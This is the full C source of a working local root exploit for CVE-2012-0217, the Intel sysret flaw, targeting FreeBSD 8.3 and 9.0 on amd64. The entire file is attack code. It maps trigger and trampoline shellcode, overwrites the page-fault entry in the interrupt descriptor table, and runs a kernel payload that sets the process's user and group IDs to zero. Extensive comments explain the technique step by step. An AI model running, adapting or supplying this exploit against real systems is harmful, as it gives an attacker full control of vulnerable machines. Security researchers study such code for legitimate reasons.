Brendan Coles
346 lines
11 KiB
C
346 lines
11 KiB
C
// CVE-2012-0217 Intel sysret exploit -- iZsh (izsh at fail0verflow.com)
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// Copyright 2012 all right reserved, not for commercial uses, bitches
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// Infringement Punishment: Monkeys coming out of your ass Bruce Almighty style.
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#include <stdio.h>
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#include <stdlib.h>
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#include <stdint.h>
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#include <unistd.h>
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#include <string.h>
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#include <sys/mman.h>
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#include <sys/utsname.h>
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#include <machine/cpufunc.h>
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#define _WANT_UCRED
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#include <sys/proc.h>
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#include <machine/segments.h>
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#include <sys/param.h>
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#include <sys/linker.h>
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uintptr_t Xofl_ptr, Xbnd_ptr, Xill_ptr, Xdna_ptr, Xpage_ptr, Xfpu_ptr, Xalign_ptr, Xmchk_ptr, Xxmm_ptr;
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struct gate_descriptor * sidt()
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{
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struct region_descriptor idt;
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asm ("sidt %0": "=m"(idt));
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return (struct gate_descriptor*)idt.rd_base;
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}
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u_long get_symaddr(char *symname)
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{
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struct kld_sym_lookup ksym;
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ksym.version = sizeof (ksym);
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ksym.symname = symname;
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if (kldsym(0, KLDSYM_LOOKUP, &ksym) < 0) {
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perror("kldsym");
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exit(1);
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}
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printf(" [+] Resolved %s to %#lx\n", ksym.symname, ksym.symvalue);
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return ksym.symvalue;
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}
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// Code taken from amd64/amd64/machdep.c
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void setidt(struct gate_descriptor *idt, int idx, uintptr_t func, int typ, int dpl, int ist)
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{
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struct gate_descriptor *ip;
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ip = idt + idx;
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ip->gd_looffset = func;
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ip->gd_selector = GSEL(GCODE_SEL, SEL_KPL);
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ip->gd_ist = ist;
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ip->gd_xx = 0;
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ip->gd_type = typ;
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ip->gd_dpl = dpl;
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ip->gd_p = 1;
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ip->gd_hioffset = func>>16;
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}
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void shellcode()
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{
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// Actually we dont really need to spawn a shell since we
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// changed our whole cred struct.
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// Just exit...
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printf("[*] Got root!\n");
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exit(0);
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}
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void kernelmodepayload()
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{
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struct thread *td;
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struct ucred *cred;
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// We need to restore/recover whatever we smashed
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// We inititalized rsp to idt[14] + 10*8, i.e. idt[19] (see trigger())
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// The #GP exception frame writes 6*64bit registers, i.e. it overwrites
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// idt[18], idt[17] and idt[16]
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// thus overall we have:
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// - idt[18], idt[17] and idt[16] are trashed
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// - tf_addr -> overwrites the 64bit-LSB of idt[15]
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// - tf_trapno -> overwrites Target Offset[63:32] of idt[14]
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// - rdi -> overwrites the 64bit-LSB of idt[7]
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// - #PF exception frame overwrites idt[6], idt[5] and idt[4]
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struct gate_descriptor *idt = sidt();
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setidt(idt, IDT_OF, Xofl_ptr, SDT_SYSIGT, SEL_KPL, 0); // 4
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setidt(idt, IDT_BR, Xbnd_ptr, SDT_SYSIGT, SEL_KPL, 0); // 5
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setidt(idt, IDT_UD, Xill_ptr, SDT_SYSIGT, SEL_KPL, 0); // 6
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setidt(idt, IDT_NM, Xdna_ptr, SDT_SYSIGT, SEL_KPL, 0); // 7
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setidt(idt, IDT_PF, Xpage_ptr, SDT_SYSIGT, SEL_KPL, 0); // 14
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setidt(idt, IDT_MF, Xfpu_ptr, SDT_SYSIGT, SEL_KPL, 0); // 15
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setidt(idt, IDT_AC, Xalign_ptr, SDT_SYSIGT, SEL_KPL, 0); // 16
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setidt(idt, IDT_MC, Xmchk_ptr, SDT_SYSIGT, SEL_KPL, 0); // 17
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setidt(idt, IDT_XF, Xxmm_ptr, SDT_SYSIGT, SEL_KPL, 0); // 18
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// get the thread pointer
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asm ("mov %%gs:0, %0" : "=r"(td));
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// The Dark Knight Rises
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cred = td->td_proc->p_ucred;
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cred->cr_uid = cred->cr_ruid = cred->cr_rgid = 0;
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cred->cr_groups[0] = 0;
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// return to user mode to spawn the shell
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asm ("swapgs; sysretq;" :: "c"(shellcode)); // store the shellcode addr to rcx
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}
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#define TRIGGERCODESIZE 20
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#define TRAMPOLINECODESIZE 18
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void trigger()
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{
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printf("[*] Setup...\n");
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// Allocate one page just before the non-canonical address
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printf(" [+] Trigger code...\n");
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uint64_t pagesize = getpagesize();
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uint8_t * area = (uint8_t*)((1ULL << 47) - pagesize);
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area = mmap(area, pagesize,
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PROT_READ | PROT_WRITE | PROT_EXEC,
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MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);
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if (area == MAP_FAILED) {
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perror("mmap (trigger)");
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exit(1);
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}
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// Copy the trigger code at the end of the page
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// such that the syscall instruction is at its
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// boundary
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char triggercode[] =
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"\xb8\x18\x00\x00\x00" // mov rax, 24; #getuid
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"\x48\x89\xe3" // mov rbx, rsp; save the user's stack for later
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"\x48\xbc\xbe\xba\xfe\xca\xde\xc0\xad\xde" // mov rsp, 0xdeadc0decafebabe
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"\x0f\x05"; // syscall
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uint8_t * trigger_addr = area + pagesize - TRIGGERCODESIZE;
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memcpy(trigger_addr, triggercode, TRIGGERCODESIZE);
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// There are two outcomes given a target rsp:
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// - if rsp can't be written to, a double fault is triggered
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// (Xdblfault defined in sys/amd64/amd64/exception.S)
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// and the exception frame is pushed to a special stack
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// - otherwise a #GP is triggered
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// (Xprot defined in sys/amd64/amd64/exception.S)
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// and the exception frame is pushed to [rsp]
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//
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// In the latter case, trouble is... #GP triggers a page fault
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// (Xpage):
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// IDTVEC(prot)
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// subq $TF_ERR,%rsp
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// [1] movl $T_PROTFLT,TF_TRAPNO(%rsp)
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// [2] movq $0,TF_ADDR(%rsp)
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// [3] movq %rdi,TF_RDI(%rsp) /* free up a GP register */
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// leaq doreti_iret(%rip),%rdi
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// cmpq %rdi,TF_RIP(%rsp)
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// je 1f /* kernel but with user gsbase!! */
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// [4] testb $SEL_RPL_MASK,TF_CS(%rsp) /* Did we come from kernel? */
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// jz 2f /* already running with kernel GS.base */
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// 1: swapgs
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// 2: movq PCPU(CURPCB),%rdi [5]
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//
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// [4] sets the Z flag because we come from the kernel (while executing sysret)
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// and we therefore skip swapgs. But GS is in fact the user GS.base! Indeed
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// it was restored just before calling sysret...
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// Thus, [5] triggers a pagefault while trying to access gs:data
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// If we don't do anything we'll eventually doublefault, tripplefault etc. and crash
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//
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// We therefore need a way: (1) to recover from the GP, (2) to clean
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// any mess we did. Both could be solved if we can get get an arbitrary
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// code execution by the time we reach [5] (NB: this is not mandatory, we could
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// get the code execution later down the fault trigger chain)
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//
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// So... here is the idea: wouldn't it be nice if we could overwrite the
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// page fault handler's address and therefore get code execution when [5]
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// triggers the #PF?
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//
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// For reference:
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// Gate descriptor:
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// +0: Target Offset[15:0] | Target Selector
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// +4: Some stuff | Target Offset[31:16]
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// +8: Target Offset[63:32]
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// +12: Stuff
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//
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// and from include/frame.h:
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// struct trapframe {
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// register_t tf_rdi;
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// register_t tf_rsi;
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// register_t tf_rdx;
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// register_t tf_rcx;
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// register_t tf_r8;
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// register_t tf_r9;
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// register_t tf_rax;
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// register_t tf_rbx;
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// register_t tf_rbp;
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// register_t tf_r10;
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// register_t tf_r11;
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// register_t tf_r12;
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// register_t tf_r13;
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// register_t tf_r14;
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// register_t tf_r15;
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// uint32_t tf_trapno;
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// uint16_t tf_fs;
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// uint16_t tf_gs;
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// register_t tf_addr;
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// uint32_t tf_flags;
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// uint16_t tf_es;
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// uint16_t tf_ds;
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// /* below portion defined in hardware */
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// register_t tf_err;
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// register_t tf_rip;
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// register_t tf_cs;
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// register_t tf_rflags;
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// register_t tf_rsp;
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// register_t tf_ss;
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// };
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//
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// When the exception is triggered, the hardware pushes
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// ss, rsp, rflags, cs, rip and err
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//
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// We can see that [1], [2] and [3] write to the stack
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// [3] is fully user-controlled through rdi, so we could try to align
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// rsp such that [3] overwrites the offset address
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//
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// The trouble is... rsp is 16byte aligned for exceptions. We can
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// therefore only overwrite the first 32-LSB of the offset address
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// (check how rdi is 16byte aligned in this trapframe)
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//
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// [2] writes 0 to tf_addr which is also 16byte aligned. So no dice.
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// That leaves us with [1] which writes T_PROTFLT (0x9) to tf_trapno
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// and tf_trapno is 16byte aligned + 8!
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// This enables us to set Target Offset[63:32] to 0x9
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//
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// We set rsp to &idt[14] + 10 * 8 (to align tf_trapno with Offset[63:32])
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*(uint64_t*)(trigger_addr + 10) = (uint64_t)(((uint8_t*)&sidt()[14]) + 10 * 8);
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// Hence, the #PF handler's address is now 0x9WWXXYYZZ
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// Furthermore, WWXXYYZZ is known since we can get (see get_symaddr()) the #PF's address
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// Thus, the idea is to setup a trampoline code at 0x9WWXXYYZZ which does
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// some setup and jump to our kernel mode code
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printf(" [+] Trampoline code...\n");
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char trampolinecode[] =
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"\x0f\x01\xf8" // swapgs; switch back to the kernel's GS.base
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"\x48\x89\xdc" // mov rsp, rbx; restore rsp, it's enough to use the user's stack
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"\x48\xb8\xbe\xba\xfe\xca\xde\xc0\xad\xde" // mov rax, 0xdeadc0decafebabe
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"\xff\xe0"; // jmp rax
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uint8_t * trampoline = (uint8_t*)(0x900000000 | (Xpage_ptr & 0xFFFFFFFF));
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size_t trampoline_allocsize = pagesize;
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// We round the address to the PAGESIZE for the allocation
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// Not enough space for the trampoline code ?
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if ((uint8_t*)((uint64_t)trampoline & ~(pagesize-1)) + pagesize < trampoline + TRAMPOLINECODESIZE)
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trampoline_allocsize += pagesize;
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if (mmap((void*)((uint64_t)trampoline & ~(pagesize-1)), trampoline_allocsize,
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PROT_READ | PROT_WRITE | PROT_EXEC,
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MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0) == MAP_FAILED)
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{
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perror("mmap (trampoline)");
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exit(1);
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}
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memcpy(trampoline, trampolinecode, TRAMPOLINECODESIZE);
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*(uint64_t*)(trampoline + 8) = (uint64_t)kernelmodepayload;
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// Call it
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printf("[*] Fire in the hole!\n");
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((void (*)())trigger_addr)();
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}
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typedef struct validtarget
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{
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char * sysname;
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char * release;
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char * machine;
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} validtarget_t;
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int validate_target(char * sysname, char * release, char * machine)
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{
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validtarget_t targets[] = {
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{ "FreeBSD", "8.3-RELEASE", "amd64" },
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{ "FreeBSD", "9.0-RELEASE", "amd64" },
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{ 0, 0, 0 }
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};
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int found = 0;
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int i = 0;
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while (!found && targets[i].sysname) {
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found = !strcmp(targets[i].sysname, sysname)
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&& !strcmp(targets[i].release, release)
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&& !strcmp(targets[i].machine, machine);
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++i;
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}
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return found;
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}
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void get_cpu_vendor(char * cpu_vendor)
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{
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u_int regs[4];
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do_cpuid(0, regs);
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((u_int *)cpu_vendor)[0] = regs[1];
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((u_int *)cpu_vendor)[1] = regs[3];
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((u_int *)cpu_vendor)[2] = regs[2];
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cpu_vendor[12] = '\0';
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}
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int is_intel()
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{
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char cpu_vendor[13];
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get_cpu_vendor(cpu_vendor);
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return !strcmp(cpu_vendor, "GenuineIntel");
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}
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int main(int argc, char *argv[])
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{
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printf("CVE-2012-0217 Intel sysret exploit -- iZsh (izsh at fail0verflow.com)\n\n");
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printf("[*] Retrieving host information...\n");
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char cpu_vendor[13];
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get_cpu_vendor(cpu_vendor);
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struct utsname ver;
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uname(&ver);
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printf(" [+] CPU: %s\n", cpu_vendor);
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printf(" [+] sysname: %s\n", ver.sysname);
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printf(" [+] release: %s\n", ver.release);
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printf(" [+] version: %s\n", ver.version);
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printf(" [+] machine: %s\n", ver.machine);
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printf("[*] Validating target OS and version...\n");
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if (!is_intel() || !validate_target(ver.sysname, ver.release, ver.machine)) {
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printf(" [+] NOT Vulnerable :-(\n");
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exit(1);
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} else
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printf(" [+] Vulnerable :-)\n");
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// Prepare the values we'll need to restore the kernel to a stable state
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printf("[*] Resolving kernel addresses...\n");
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Xofl_ptr = (uintptr_t)get_symaddr("Xofl");
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Xbnd_ptr = (uintptr_t)get_symaddr("Xbnd");
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Xill_ptr = (uintptr_t)get_symaddr("Xill");
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Xdna_ptr = (uintptr_t)get_symaddr("Xdna");
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Xpage_ptr = (uintptr_t)get_symaddr("Xpage");
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Xfpu_ptr = (uintptr_t)get_symaddr("Xfpu");
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Xalign_ptr = (uintptr_t)get_symaddr("Xalign");
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Xmchk_ptr = (uintptr_t)get_symaddr("Xmchk");
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Xxmm_ptr = (uintptr_t)get_symaddr("Xxmm");
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// doeet!
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trigger();
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return 0;
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}
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